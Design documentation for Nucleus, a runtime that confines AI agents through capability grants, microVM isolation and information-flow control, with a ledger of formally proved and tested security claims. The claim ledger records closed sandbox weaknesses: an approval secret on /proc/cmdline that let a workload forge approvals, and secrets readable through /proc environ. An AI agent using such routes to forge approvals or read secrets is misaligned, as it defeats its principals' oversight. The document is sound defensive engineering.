Nucleus Documentation

Nucleus expands the frontier of safely delegatable machine agency: any agent should be able to do as much useful real-world work as its principal is willing to authorize, while being structurally incapable of exceeding that authorization.

The invariant everything here exists to hold:

    exercised authority  ≼  delegated authority

Nucleus is a vendor-agnostic runtime that enforces that bound — capability lattice, compiled least-privilege grants, microVM isolation, information-flow control — proves the enforcement boundary sound, and attests what was exercised in receipts a third party can check offline.

Start with the North Star for the objective and the flagship claims, ADR 0005 for why the objective is stated as a ratio, and ADR 0004 for how a stated goal becomes a minimum-authority grant. Use the sections below to explore the architecture, threat model, and integration notes.

Nucleus North Star

This is the long form, and it carries the claim ledgers CI parses. The canonical short statement is NORTH_STAR.md; the reasoning behind the objective is ADR 0005.

The Objective

Nucleus continuously expands the frontier of safely delegatable machine agency: any agent should be able to do as much useful real-world work as its principal is willing to authorize, while being structurally incapable of exceeding that authorization.

             useful autonomous work completed
    ℐ  =  ───────────────────────────────────────────────────────
          authority risk + human friction + integration cost

subject to the invariant that everything below this section exists to hold:

    exercised authority  ≼  delegated authority

The constraint does not compete with the objective; it is what makes raising the objective’s numerator safe. ℐ may never be raised by weakening ≼.

Vision

Nucleus makes “agent jailbreak → silent damage” provably impossible by construction, while remaining frictionless enough that small dev teams adopt it like a linter.

Assume the agent is compromised. Constrain what it can do anyway. Prove the constraints hold.

Flagship Safety Claim

No external side effect occurs unless it is mediated by Nucleus and authorized by a policy that can only stay the same or tighten during execution.

Corollaries:

• No exfiltration without an explicit sink capability.
• No “talk your way into more permissions” mid-run.
• No untrusted content reaching a sink without an approval/declassification gate.

This is the apodictic core — logically compelled, machine-checkable, marketable.

“Can only stay the same or tighten” is stated from the workload’s side, which is what the second corollary makes precise: the agent cannot widen its own authority mid-run. The single widening path, POST /v1/escalate, is not the agent’s to take — it requires a separate approver’s authority and the result is bounded by the delegation ceiling, so it never exceeds what was delegated (see Pillar A #4). An adversary controlling the workload sees a pure ratchet.

The Confidentiality Dual

The claim above is about authority: what a workload may do. Its dual is about confidentiality: what a workload may learn. Both are needed, because a tenant’s first question is not “can this agent act” but “can another tenant’s agent read my secrets.”

Whatever an agent workload does — including when an adversary controls the inputs feeding it — it can neither learn the secrets Nucleus holds on its behalf nor those of any other pod, nor influence which of them get released; the sole exception is a value a governor deliberately released with a single-use token, and even then the adversary cannot steer which value that is. This covers explicit flows through every mediated channel and excludes timing, cache, and other microarchitectural channels, and excludes availability and resource-contention channels such as a bounded pod pool; it is a theorem about the code that ships, re-checked on every change, and a relying party can verify from the outside that the pod they are talking to is the artifact the theorem is about.

The exclusions are inside the sentence, not a footnote, so the claim cannot be quoted without its limits. Cross-pod confidentiality stated without them would read as “immune to co-tenancy attacks” — the worst overclaim available to this project, and one we have no basis for: Firecracker, the host kernel, and the hardware are all in the TCB and none of them is modelled.

The resource-contention exclusion was added after the fact, and it is worth saying why rather than letting it look like it was always there. The first version excluded only timing, cache, and microarchitectural channels. Working through the host state field by field (cross-pod-view.md) turned up firecracker_pool: a bounded semaphore that pod spawn acquires with acquire_owned().await. It blocks, so one tenant’s pod delays another’s, and that channel is macroscopic and reliable — not microarchitectural at all. Under the original wording a careful reader would have concluded the claim covered it, and that the claim was false. It was. Possibilistic noninterference over values conventionally says nothing about availability; the fix is to say so out loud, which is what this sentence now does.

Status — what is proved, what is tested, what is not yet

Keeping these apart is a house rule, because a north star written in the present tense is how a claim outruns its wiring. This table is a machine-checked ledger (scripts/check-north-star-ledger.sh, run on every change): each row names a clause of the sentence verbatim, carries exactly one status from {PROVED, TESTED, NOT-YET}, an evidence handle CI can dereference, and the gate that reds if the status regresses. The row count, the NOT-YET count, and the count of in-tree dormancy gates the ledger is cross-checked against are all pinned (scripts/north-star-ledger-ratchet.txt) — deleting a row, demoting a status, or a dormancy gate silently appearing or disappearing is a visible event, not an edit.

What each status means, and what it deliberately does not:

• C1 (PROVED — re-promoted 2026-08-08; had been demoted earlier the same day). FM-5 genuinely proves, over the seven modelled child-inheritance channels (Env, Argv, Cwd, Stdio, ExtraFd, Uid, Cmdline), the 11-kind × 3-principal delivery table, Aeneas-extracted, sorry-free, axiom-audited — but the clause is broader than that theorem, and the clause was falsified by a channel FM-5 does not model: the guest kernel command line (/proc/cmdline) is world-readable inside the VM, and it carried real secrets — nucleus.approval_secret (the symmetric HMAC key, so any workload could forge approvals, an authority bypass) on every pod, plus the AWS audit-sink credentials whenever an audit sink was configured. Both are closed as of 2026-08-08: the AWS credentials ride the workload API (FETCH_AUDIT_CREDENTIALS, served once before any workload exists), and approvals are Ed25519 signatures the guest verifies against the node’s public key (nucleus.approval_pubkeys) — no shared secret exists in the guest. The task-token cmdline copy and the dead Tier-3 nucleus.sandbox_token were then RETIRED (2026-08-08): the task token is fetched over the workload API (FETCH_TASK_TOKEN), and the sandbox token was verified with an auth_secret no shipped rootfs delivers (/etc/nucleus/auth.secret is written only under build-rootfs.sh --legacy-secrets), so it could never verify — a dead Secret on a world-readable channel. MaterialKind::TaskToken stays Secret in the FM-5 model; rather than argue the cmdline copy harmless (an argument resting on session_mint keeping the nonce host-pinned forever), it is deleted. No pod writes any per-pod material to /proc/cmdline now — a categorical gate (no_pod_cmdline_carries_any_per_pod_secret) proves it over the real boot args for every identity outcome, and it is the Rust half of the Lean channel theorem. This also realized the FM-4 snapshot payoff: a realistic identity-bearing pod cmdline is SafeToClone. The cmdline is now a MODELLED channel (ChannelKind::Cmdline, Aeneas-extracted): the flagship no_channel_delivers_secret_to_the_workload covers it, and the_cmdline_delivers_no_secret_to_the_workload states it by name — a Secret re-appearing on the command line is now a RED theorem, not an unmodelled gap. So the specific falsifier that demoted C1 is closed AND proved. C1 is re-promoted to PROVED after a red-team walk of the four residual inbound surfaces resolved each — two as declared exclusions, two closed fail-closed:

  • Bind-mounts (excluded). Firecracker gives the guest virtio block devices, not a shared host filesystem; the only bind-mounts are host-side jailer-chroot plumbing the guest never sees as files. This is FM-5’s existing mount fence (extracted/channel.rs), not a new one.
  • /etc/nucleus/* (excluded). The legacy secret files (auth.secret, approval.secret) are written only under a --legacy-secrets build flag no shipping path passes; pod.yaml is cred-split (no credential values); the one runtime-written private key is mode-0600 and folds into the uid fence below.
  • /proc/<pid>/environ (gap B — now closed). The runtime holds every per-pod secret in its own environment, and a same-uid workload reads it via /proc. The uid fence was wired only under credentialed egress, so a no-egress, no-uid pod ran the workload as the runtime’s uid and was exposed. Every workload now runs as a distinct unprivileged uid, never the runtime’s (workload.rs, DEFAULT_WORKLOAD_UID).
  • The _ => OrdinaryData classifier fallthrough (gap D — now closed). An unrecognised NUCLEUS_* name fell through to Public and was delivered, and the dual-classifier corpus test could not catch it (both classifiers share that default). Any unclassified reserved-namespace key is now refused at admission (workload.rs, PUBLIC_RESERVED).

  C1’s relation leg is the Lean noninterference; its conformance leg — that the shipping runtime actually withholds — is TESTED and gated by scripts/check-c1-inbound-fences.sh (reverting fence B or D reds it). That conformance leg is bounded by C7 (“a theorem about the code that ships”), itself TESTED, so the row records the proven relation with the runtime conformance gated beside it — the same shape as C4.

• C2 (NOT-YET — first mechanization landed 2026-08-11). The design (docs/cross-pod-view.md, after Nickel/OSDI-2018: the view relation is untrusted, so a too-coarse relation fails the proof) is now a kernel-checked two-run theorem for the first shared surface. PodCrossView.lean defines podView : PodId → HostState → Observation verbatim from the design and proves both unwinding conditions over pods — the only shared-mutable field mediated by design (server-side lineage filter, #2199): output-consistency (output_consistency, a pod’s view is determined by its own lineage slice) and local-respect (local_respect, another pod’s write is excluded from the view), with cross_pod_noninterference as the two-run payoff. It is non-vacuous by four decide-checked witnesses — including the coarse-relation-fails guardrail (dropping the lineage filter makes local_respect false, so a weaker relation breaks the proof rather than silently passing). Clean axiom profile (⊆ [propext, Classical.choice, Quot.sound]), gated by the proven-lean workflow. What keeps C2 NOT-YET: (a) only pods of the 8 shared-mutable fields is mechanized — the rest are not yet in-Lean (five are availability/cardinality channels the sentence already excludes); (b) the two fields that were excluded because their code was defective are now fixed — the lockdown_tx broadcast leak (#2203, server-side filter) and the node-wide identity socket handing out an arbitrary cert+key (#2204, retired) both landed — so lockdown_tx and the identity registry can now re-enter the model in a later increment (they are unblocked, not yet mechanized); (c) the model↔runtime parity for the pods filter is tied — caller_may_manage_matches_the_podview_lineage_filter pins the shipped listing/management predicate (pod_api.rs, live at #2199) to the abstract ownedBy relation exhaustively; (d) the cross-pod isolation is now tested over the live request path — pod_b_cannot_observe_pod_a_across_the_auth_and_filter_path drives both functions a request traverses (auth identify_caller + filter caller_may_manage) through the B-cannot-observe-A scenario, including the forgery the auth exists to stop; (e) the lineage that filter reads is verified on a running node — scripts/cross-pod-lineage-check.sh boots the real nucleus-node (KVM-free local driver), creates two sibling pods and a child of one through the real signed POST /v1/pods, and asserts the listing serves the recorded parent_pod_id (child→parent; siblings top-level); (f) the scoped exclusion itself is verified on a running node — scripts/cross-pod-scoped-check.sh boots the real node, creates an orchestrator pod A and a non-lineage sibling B, and drives A’s tool-proxy POST /v1/pod/list presenting A’s OWN node-minted caller token: the node scopes the listing server-side (caller_may_manage) so A sees A but not B — a strict subset of the operator view that sees both. This runs KVM-free because a pod’s caller token is derive_token(caller_secret, id) whether delivered as a local-driver env var or over the Firecracker vsock — its unforgeability rests on the node-only caller_secret, not on the transport (correcting an earlier over-strong note that this “needs a real Firecracker pod”). What remains: a two-pod Firecracker boot exercising the same path with the token delivered over the real vsock (transport + real-guest-origin fidelity, quickstart-boot); re-entering the now-unblocked lockdown_tx/identity fields; and VM-level guest isolation (partly covered by net-guest-isolation-check.sh). “Any other pod” is not yet earned end to end — the substrate, first surface, filter parity, request-path isolation, live-node lineage, and running-node scoped exclusion are in; the Firecracker two-pod boot is not.

• C3 (PROVED) — the two-run noninterference theorem over the reference pod machine, whose step relation calls the extracted delivery oracle. Scope is honest: a coarse monitor LTS with an opaque workload, labelled Phase 0.

• C4 (TESTED — promoted from NOT-YET 2026-08-10; held one notch below PROVED while the live-release e2e is boot-gated). The clause names a specific live mechanism: a governor release via a single-use token. Both legs now hold on the graph the shipping egress verdict reads — but because the release’s shipping-path conformance is a boot-gated end-to-end (proven mechanism + unit-level flip over the real FlowGraph type + endpoint wiring verified by inspection, not yet a running-pod HTTP e2e), the honest row status is TESTED, not PROVED. It returns to PROVED when a boot-a-real-pod e2e shows a POST /v1/declassify token flipping a live verdict for the committed value and denying a substituted one.

  • Single-use, PROVED. The absorbing declass_step machine (no_second_apply, single_use) over the Aeneas-extracted decision core, enforced by the shared one-shot burn ledger (FlowGraph::release_burn_ledger) and exercised at the kernel API by crates/portcullis/tests/kernel_token.rs (mint → apply → second-apply refused; a refusal never burns).
  • Live on the graph egress reads, PROVED-mechanism / TESTED-conformance. The demotion reason was that the proven token fired nowhere: apply_declassification_token recorded its scope on the kernel’s own flow_graph, which no request path populated, so POST /v1/declassify returned NodeNotFound and the actually live release was the unproven k-of-n memory path. That inversion is closed. The apply is re-homed (apply_declassification_token_on(&mut graph, token), #2235): the endpoint (nucleus-tool-proxy/src/declassify.rs) locks state.flow_graph — the graph egress reads — and lands the scope there, and egress honors per-node scopes fail-closed. So a single-use token now flips the egress verdict Deny→Pass for exactly the committed value at exactly its signed sinks, proven on one graph by crates/portcullis/tests/declassify_rehome_egress.rs#c4_flip_back_on_one_graph, with a boundary matrix that denies a substituted value (ContentMismatch), an unsigned sink, a replay, a second secret node, and poison. The k-of-n mint now feeds the same value-bound, sink-scoped, one-shot DeclassScope on that graph (#2234), so there is one enforcement and two mint policies, not a proven-but-dead path beside an unproven-but-live one.

  Honest caveat — which leg is TESTED. The proven single-use/sink-scope theorems and the value-bound apply→egress flip are exercised at the unit level over the real FlowGraph type (the same type and API the endpoint uses), and the endpoint wiring (apply_declassification_token_on on state.flow_graph) is asserted by inspection in scripts/check-declassify-value-bound.sh. The full HTTP-POST /v1/declassify-against-a-running-pod e2e — a real governor request flipping a real tool-proxy egress verdict — is boot-gated (boot-a-real-pod, requires /dev/kvm) and is the conformance leg, the same shape as C1’s runtime conformance. The falsifier scripts/check-declassify-value-bound.sh reds if the value-binding is neutered OR the endpoint is re-pointed at the orphan kernel graph (the exact #2235 regression), so the dead-mechanism inversion cannot return silently.

• C5 (PROVED — re-promoted 2026-08-10; had been demoted 2026-08-08). The clause is about the VALUE axis: an adversary controlling the inputs cannot steer which value a governor release yields. This is now both enforced and proven relationally, closing the sink-axis-only overclaim that demoted it (the old citation sink_outside_a_singleton_mask_denied proves where data goes, not which value is released).

  • Enforced (value-binding at apply). The token carries a signed content_commitment: [u8; 32] (SHA-256 of the exact authorized bytes, bound into canonical_bytes at canonical-v3). Apply releases only for a node whose monitor-recomputed ingest content_hash equals that commitment (FlowGraph::value_binding_ok); a substituted value, an unbound ([0u8;32]) commitment, or a node with no recorded hash is refused ContentMismatch — fail-closed and non-burning (the token stays usable). The content hash is a monitor-recorded fact (observe_with_content_hash, SHA-256 recomputed at ingest, never an agent field), so the adversary cannot forge the equality.
  • Proven relationally (four-run robustness). four_run_value_robustness (DeclassifySinkScopeExtracted.lean) states that over the 2×2 grid of attacker-controlled recorded content against one governor commitment, every run releases exactly the committed value or denies — no attacker input releases any other value. Sorry-free; #print axioms = {propext}. This is the value axis of robust / non-malleable declassification (Sabelfeld–Sands; Cecchetti et al., CCS’17), which nucleus can reach because the proxy mediates every egress.

  Honest abstraction — the u64-tag / 32-byte nuance. The extracted decision core the theorem is stated over (value_authorized, in EXTRACT_ROOTS) models value identity as a u64 tag and decides on tag equality. The runtime compares the full 32-byte ContentHash. The two are bound by the parity test crates/portcullis/tests/declassify_scope.rs#authorize_release_value_binding_matches_the_extracted_decision (equal bytes ⇔ equal tag; unequal ⇔ deny), so the relational theorem transfers to the byte-level runtime decision by tested parity, not by a proof over 32-byte arrays. That is the one gap between the proof and the shipped comparison, and it is gated: the falsifier scripts/check-declassify-value-bound.sh runs both the four-run test and the parity test, and reds if value-binding stops refusing a substituted value.

• C6 (TESTED — promoted from NOT-YET 2026-08-11; complete-mediation Phases 1–3). Five legs now hold. (a) Tier-A total mediation is a theorem: over the closed SinkClass/Operation enum, no_sink_reachable_without_discharge (MediationScopeExtracted.lean, Aeneas-extracted, sorry-free, axioms ⊆ [propext, Classical.choice, Quot.sound]) proves no consequential sink is reachable from idle without discharging an Authority; a new sink forces a match arm (#2241). (b) The effect boundary is enforced, not advisory: the mediated dylint pass runs enforcing-at-zero over the sealed effect home portcullis-effects — counted by report count, not exit status, with a reds-on-revert self-test (scripts/check-mediation-dylint.sh, #2244). (c) The transport/egress surface now has a unified, gated inventory: docs/architecture/mediated-set.md enumerates every outbound channel against the closed EgressChannel enum, and documented_inventory_equals_the_enum reds if the table and enum disagree on the key set or a channel’s status (Phase 0). The three Tier-B surfaces that kept this NOT-YET are now closed: (d) Phase 2 — the netns default-deny backstop for in-shell / raw-socket egress (channels 5, 10) is proven applied on boot by the in-guest egress probe (scripts/check-egress-probe.sh, x86_64 boot gate: an off-allowlist connect from inside the live guest returns ENETUNREACH; #2246); (e) Phase 3 — the effects() escape hatch (channel 12, #1248) is closed (unmediated_effects requires an opt-in token + strictest-sink discharge + FlowTracker observe, fail-closed tested), and the partial transport channels (7, 8) rest on tested structural refusals (host-CID pin only_the_host_cid_is_accepted, broker refusal by absence). The inventory now carries no open hole — no_channel_is_an_open_hole asserts it, the machine meaning of “every”. TESTED, not PROVED: “every” here is a union of tested properties plus one theorem, not a single proof. The Tier-A theorem covers only the effect-API surface (channels 1–4); the in-shell/raw-socket backstop (5, 10) rests on “iptables applies the rules”, which is TESTED-on-boot with the kernel in the TCB, not proven; the partial transport channels (7, 8) rest on tested structural refusals; and channel 12’s audit-DAG granularity is coarse (one node per grant). The falsifier is scripts/check-egress-probe.sh — it reds if the live-path backstop stops confining egress; no_channel_is_an_open_hole reds if any channel regresses to an open hole. Re-earning toward PROVED would need the network backstop proven (not tested) applied and the theorem extended past the API surface.

• C7 (TESTED — unchanged 2026-08-10; the declassify gap narrowed but C7 is broader). The theorems are about a scalar-only extracted restatement of the enforcement predicates, re-extracted from the current Rust on every proof-workflow run and bound to production by exhaustive parity tests and the boot-gate conformance replay. The declassification arc (#2227–#2236) narrowed this gap for its own slice — the declassify decision core (value_authorized) is now in EXTRACT_ROOTS, so the proofs describe the graph the live egress actually reads, and the u64-tag↔32-byte binding is parity-tested — but that does not promote C7, which is the broader whole-slice↔shipped-code correspondence. The surrounding kernel, classifier, and spawn path are still covered by tests and lints, not by the theorem; and even the declassify slice’s byte-level runtime comparison transfers to the proof by tested parity, not by proof. C7 stays TESTED.

• C8 (TESTED — promoted from NOT-YET 2026-08-11). Two gaps closed. (a) The proof workflow’s trigger was an allowlist of the extracted Lean files that missed the production types the parity tests bind against (IFCLabel, SinkClass, ConfLevel in ifc_ops.rs/lib.rs); it now triggers on the whole crates/nucleus-ifc-kernel/** domain (derived, not enumerated), so a change to the enforcement the theorems mirror re-extracts + re-parity-tests + re-proves. (b) Nothing checked that the extracted predicates are still wired into the live path — a theorem about a function nobody calls is a proof about dead code. scripts/check-extracted-callsites.sh (required, runs every PR via ci.yml) now asserts each manifest-covered predicate has a live production call site (production region, test blocks excluded); it reds if the call site is deleted. Every extracted family is accounted for (a call-site audit confirmed none is proven-but-silently-unwired): the wired ones carry a live anchor — identity delivery (ident_may_deliver, a direct call to the extracted predicate), mediation (classify_sink for sinkcode, and authorizes — the effect-gate require_scope — for scope_admits), declassify (authorize_release), egress (egress_chain), and the capability lattice (CapabilityLevel’s ordering, used live in the trifecta classifier for capleq); the genuinely structural ones carry their construction anchor — channel_admits (C1’s no-secret-channel / distinct-uid fence) and cred_may_deliver (the broker builds its store from the node env, never the guest spec, so a Secret credential never reaches the Guest sink by construction). Ceiling: these two are proof-only by design — there is no runtime predicate call to check, so the gate anchors the construction instead; and the base flows-to relations (iflows_to/cflows_to) are exercised transitively by the decision predicates. TESTED, not PROVED: the correspondence is a build-system + grep-gate check, not a proof.

• C9 (NOT-YET — demoted 2026-08-08, was TESTED; Inc 1 landed 2026-08-11). Increment 1 wired the first end-to-end vertical, but the leg is not yet fully earned. What now holds (node-signed software launch attestation): the producer no longer discards the attested cert — fetch_attested_certificate caches it (SecretManager::cache_certificate) so the served FETCH_SVID fast-path (manager.fetch_certificate) returns the cert carrying the measurement, and SelfSignedCa::sign_attested_csr really does embed the DICE extension (the prior note’s “no CA implements sign_attested_csr” and “#[allow(dead_code)]/discarded” facts are now false for the shipping path). A shipped relying party exists — nucleus_identity::verify_attested_svid (extract LaunchAttestation from the leaf, check against AttestationRequirements) with a production CLI caller nucleus verify-attestation. The teeth are exercised over the real serve path: identity::tests::attested_svid_is_served_and_verifier_reds_on_drift_and_absent proves (i) correct measurement verifies (non-vacuous), (ii) one byte of drift reds, (iii) an absent extension fails closed under require_attestation; cli_verifies_attested_and_reds_on_drift_and_absent proves the same through the CLI entrypoint. Trust boundary (why still NOT-YET, not overclaim): the measurement is the node’s own SHA-256 of the kernel+rootfs it launched, signed by the node’s CA key — there is no hardware root (no TPM/SEV-SNP/TDX quote, no UDS-in-ROM DICE identity), so the guarantee is conditional on trusting the node key; a compromised node can sign any measurement. Remaining for TESTED: (a) the verifier must run on a live request/admission path (peer mTLS gate / node admission, fail-closed), not only a CLI self-check — the tool-proxy sandbox_proof.rs verifier is still dead; (b) the served-attestation path is exercised on the Firecracker driver only (a local-driver pod has no VM image to measure) and the round-trip test drives the real cache→serve fast-path minus the UDS transport; (c) signed provenance binding the artifact digest to the theorem set (in-toto-style: subject = rootfs/kernel digest, predicate = ledger commit); (d) the hardware-root gap named above. The adjacent real thing remains admit_posture (self-measured rootfs digest, fail-closed, admit_posture_one_byte_of_drift_reds_the_gate) — same TCB boundary, now also exposed to an outside verifier. Note: OID PEN 57212 is an unregistered placeholder; register it before any external-interop claim.

The cross-pod leg is the open one, and it is deliberately sequenced audit-first: a lookup keyed on something a guest can forge is a far likelier defect than a flaw in the label lattice, and a real finding there is worth more than a theorem. Per-caller identity at the node API is the enabling step — until the node can tell which pod is calling, no cross-pod property is even statable, because the system cannot assign a secret to a pod any more than the model can.

Theoretical Foundation

This claim rests on the capability safety theorem: in an object-capability (ocap) system, authority propagates only through explicit capability references. If the enforcement boundary is capability-safe, no code inside it can acquire authority it was not granted. This connects Nucleus to a 40-year lineage (E language, KeyKOS, seL4, Capsicum) and is the formal basis for “prove the boundary, not the model.”

Three Pillars

Pillar A — Math That Survives (Kernel Semantics)

The math core is small and sharp:

1. Capability lattice (authority) — 12-dimensional product lattice with 3-level capability states (Never/LowRisk/Always). Compare, combine, restrict permissions algebraically.

2. Exposure lattice (trust) — 3-bool semilattice tracking private_data, untrusted_content, and exfil_vector. When all three co-occur (uninhabitable state), the operation requires explicit approval. Exposure is monotone: it never decreases.

3. Trace semantics (time) — ordered record of actions, authority, and exposure at each step. Free monoid with homomorphic exposure accumulation.

4. Monotonicity (ratchet) — authority can only stay the same or tighten under the workload’s own action. Budget can only decrease. Exposure can only increase. The nucleus operator ν is idempotent and deflationary. The one widening is POST /v1/escalate, and it is not the workload’s to take: it requires a separate approver’s authority (mTLS identity + a valid trace chain), and the granted authority is intersected with the delegation ceiling (cert_bridge.rs, effective.leq(verified.effective)), so it can never exceed what was delegated. So the flagship’s “can only tighten” holds for the agent (the corollary “no talking your way into more permissions mid-run” is exact), and an approver-authorized widening stays bounded by the ceiling — it is a move within the lattice, not above it.

Key design choice: prove properties about the enforcement boundary, not about LLM behavior. The agent is a black box. The kernel is the TCB.

Current state: 113 Kani harnesses + ~277 Lean 4 theorems verify the security core in CI, covering lattice laws, uninhabitable state operator, Heyting algebra, modal operators (S4), exposure monoid, graded monad laws, Galois connections, fail-closed auth boundary, capability coverage theorem, budget monotonicity, and delegation ceiling theorem. (Verus was evaluated and removed; verification consolidated on Lean 4 + Kani — see the README verification table.) Phase 0-2 partially complete.

Pillar B — Formal Methods as a Product Feature

Proofs are first-class artifacts, not academic exercises:

• Kani bounded model checking — 113 machine-checked harnesses over the Rust kernel’s decision logic; complete over the finite lattice state space. CI-gated via kani-nightly.yml.
• Lean 4 model — ~277 kernel-checked theorems for the security core (capability Heyting algebra, IFC semilattice, taint monotonicity, exposure monoid, delegation); the Aeneas pipeline mechanically translates the core capability types from Rust to Lean so proofs run over generated code. CI-gated via portcullis-core-proven-lean.yml / aeneas-ifc-scoped.yml.
• Differential testing (planned) — Cedar pattern: millions of random inputs compared between Rust engine and Lean model.
• Public Verified Claims page — each claim maps to a proof artifact and code commit.
• Continuous verification gates — CI fails if a change violates a proven invariant. No regression path.

Pillar C — Dead-Simple Developer Usability

A developer can get value in under 10 minutes. No lattice theory required.

• Install with pip (Python SDK) or cargo (Rust SDK)
• Run nucleus audit for immediate CI integration
• Wrap a workflow in a “safe session” with 10 lines of code
• Choose from built-in profiles, never think about lattices

Product Surface

One mental model across all entry points, with value at every tier:

Tier 0: nucleus audit

Fast value, no runtime required:

• Scan repo settings, MCP configs, agent configurations
• Emit PR comments / SARIF
• Generate a minimal safe profile + allowlist snippet
• PLG funnel entry: teams adopt this before committing to a runtime

Tier 0.5: nucleus observe

Bridge from “I don’t know what my agent does” to “here’s a tight profile”:

• Run alongside an existing agent, record all tool calls and side effects
• Suggest a minimal capability lattice policy based on observed behavior
• Output is formal (a lattice policy), not statistical (a behavioral baseline)
• Differentiator from ARMO: prescriptive output, not behavioral baseline

Tier 1: nucleus run --local

Immediate felt safety:

• All side effects go through a local proxy
• No direct agent access except via the mediated gateway
• Approval prompts for risky actions (uninhabitable state triggers)
• Same policy language as Tier 2

Tier 2: nucleus run --vm

Hard containment:

• Firecracker microVM boundary (Firecracker-based isolation)
• Default-deny egress, allowlisted DNS/hosts
• gRPC tool proxy inside the VM, SPIFFE workload identity
• Same policy language, same traces, same proofs
• Target: <500ms cold start via pre-warmed VM pools

Dev usability does not wait for Tier 2. But Tier 2 is the “serious people” finish line.

MCP Mediation (cross-tier)

MCP is the de facto agent-tool protocol. Nucleus is an MCP-aware mediator:

• Interposes on MCP tool calls, applies capability checks, records traces
• nucleus run accepts MCP server configs and proxies them through the policy engine
• Any MCP client gets enforcement for free — no SDK adoption required
• Current state: nucleus-mcp crate provides Claude Code ↔ tool-proxy bridging. Extend to general MCP mediation.

The Python SDK

The “Hello World” experience should feel like requests + pathlib, not like configuring SELinux.

SDK Principles

• A developer should never need to think about lattices
• Unsafe actions are impossible to express without explicit approval steps
• Audit traces are produced automatically
• Intent-based API maps to built-in profiles

Example

from nucleus import Session, approve
from nucleus.tools import fs, net, git

with Session(profile="safe_pr_fixer") as s:
    readme = fs.read("README.md")           # ok
    fs.write("README.md", readme + "\n")    # ok (scoped)

    # risky: outbound fetch — explicit gate
    page = approve("fetch", net.fetch, "https://example.com")

    # forbidden: publish
    git.push("origin", "main")              # raises PolicyDenied

SDK Ships With

• Profiles: safe_pr_fixer, doc_editor, test_runner, triage_bot, code_review, codegen, release, research_web, read_only, local_dev
• Typed handles: FileHandle, NetResponse, CommandOutput that carry exposure metadata
• Exceptions: PolicyDenied, ApprovalRequired, BudgetExceeded, StateBlocked
• Trace export: session.trace.export_jsonl()

Current state (March 2026): Draft Python SDK at sdk/python/ with intent-first API, mTLS/SPIFFE auth, and tool wrappers for fs/git/net. Functional for direct tool-proxy connections.

The Kernel Boundary

The agent process must not have ambient authority.

No direct egress. No direct filesystem beyond what is mediated. No token leaks.

The kernel is the only place where:

• Decisions are made (capability check)
• Approvals are validated (uninhabitable state gate)
• Traces are recorded (audit log)
• Exposure is tracked (monotone accumulation)

This is what makes formal verification tractable: the TCB is small (~10-15K LOC of verified Rust), and every path through it either enforces the lattice or panics. No fail-open. No silent degradation.

┌─────────────────────────────────────────────────────┐
│  Verified Core (Lean 4 + Kani)      ~10-15K LOC     │
│  ├── portcullis lattice engine     113 Kani proofs  │
│  ├── exposure guard + uninhabitable state        proven monotone  │
│  ├── permission enforcement        fail-closed      │
│  └── sandbox boundary              proven panics    │
├─────────────────────────────────────────────────────┤
│  Formal Model (Lean 4, hand-written) partial         │
│  ├── CapabilityLevel HeytingAlgebra Lean 4 proofs   │
│  ├── Aeneas pipeline (core types)  in progress      │
│  └── graded monad laws             planned          │
├─────────────────────────────────────────────────────┤
│  Differential Testing              planned          │
│  ├── Rust engine vs Lean model     cargo fuzz       │
│  └── Lean/Kani proof ratchet       CI-gated         │
├─────────────────────────────────────────────────────┤
│  Runtime (standard Rust)           ~70K LOC         │
│  ├── gRPC, tokio, tonic            Kani checks      │
│  ├── Firecracker + SPIFFE          integration      │
│  └── Tool proxy, audit, MCP        proptest         │
└─────────────────────────────────────────────────────┘

Competitive Positioning

                    Formal Guarantees
                         ▲
                         │
                         │  ★ Nucleus (target)
                         │
    Papers ●             │
    (no product)         │
                         │
         AgentSpec ●     │
                         │
    ─────────────────────┼──────────────────► Dev Usability
                         │
              ARMO ●     │         E2B ●
                         │     Daytona ●
              CodeGate ● │  microsandbox ●
                         │

Why Not X?

Nucleus’s five differentiators:

1. Capability lattice with monotonicity proof — authority is a mathematical ratchet, not a config file.
2. Exposure tracking with uninhabitable state gate — information flow control that blocks exfiltration by construction.
3. “Prove the boundary, not the model” — verify the enforcement kernel (tractable, seL4-style), not LLM behavior (impossible).
4. Tiered value delivery — nucleus audit gives value before any runtime commitment. Audit-first PLG funnel.
5. Vendor-agnostic by design — self-hosted runtime any orchestrator can target. No cloud lock-in.

What to Learn From the Field

• E2B’s SDK ergonomics — pip install + 3 lines = sandbox. Match this simplicity.
• ARMO’s progressive enforcement — the observe → baseline → enforce UX is excellent for teams that don’t know what policy to write. nucleus observe adopts this pattern but outputs formal policies, not behavioral baselines.
• microsandbox’s MCP integration — MCP-native runtime is table-stakes. Nucleus must be an MCP-aware mediator.
• AgentSpec’s DSL readability — trigger/predicate/action patterns are ergonomic. Policy authoring should be at least as readable.
• Google’s pre-warmed pools — sub-second cold start is an infrastructure requirement for Tier 2.

Formal Methods Ladder

Each rung is shippable independently.

Rung 1 — Kani + Lean Proofs (in progress)

• 113 Kani harnesses + ~277 Lean theorems verified in CI (minimum gate)
• Covers: lattice laws, uninhabitable state operator, Heyting algebra, S4 modal operators, exposure monoid, graded monad laws, Galois connections, fail-closed auth, capability coverage, budget monotonicity, delegation ceiling
• Key finding from proofs: nucleus operator ν is NOT monotone (proven counterexample — uninhabitable state fires for y but not x). This was discovered by the proofs, not by tests. The proofs are working.

Rung 2 — Lean 4 Model (partial)

• Done: hand-written kernel-checked proof of CapabilityLevel as a HeytingAlgebra (Mathlib-linked, 27-case decide). Discriminant correspondence enforced by lean_tonat_matches_rust_discriminants CI test. Kani R1/R2/R3 harnesses bridge the Lean proofs to bounded model checking.
• Planned: Aeneas/Charon pipeline translation (Rust MIR → LLBC → Lean) for the full portcullis crate; Mathlib links for broader algebraic structures; graded monad laws in Lean 4.

Rung 3 — Differential Testing (planned, Phase 3)

• Cedar pattern: Rust engine vs Lean model on millions of random inputs
• Catches: serialization boundaries, encoding issues, discrepancies between verified model and production code
• CI-gated: every PR checked against the formal model

Rung 4 — Extended TCB Verification (planned, Phase 4)

• Sandbox boundary, credential handling, tool proxy
• Kani bounded model checking for arithmetic paths
• Goal: full TCB machine-checked end to end

Rung 5 — TCB Minimization

The moonshot is not “prove all the code.” The moonshot is: make the proven kernel tiny enough that proving it is realistic. This is how seL4 thinking wins: reduce the surface you must trust.

Supply Chain Integrity (Exposure Tracking Use Case)

The exposure lattice has a concrete day-one demo: supply chain safety.

• Package installs from untrusted registries carry untrusted_content exposure
• Exposed dependencies cannot reach sinks (network, filesystem writes) without explicit approval
• Combined with exfil_vector exposure on git push / network egress, the uninhabitable state gate blocks dependency-confusion attacks by construction
• This is what CodeGate does with a bespoke tool. Nucleus does it as a natural consequence of the exposure lattice.

Success Criteria

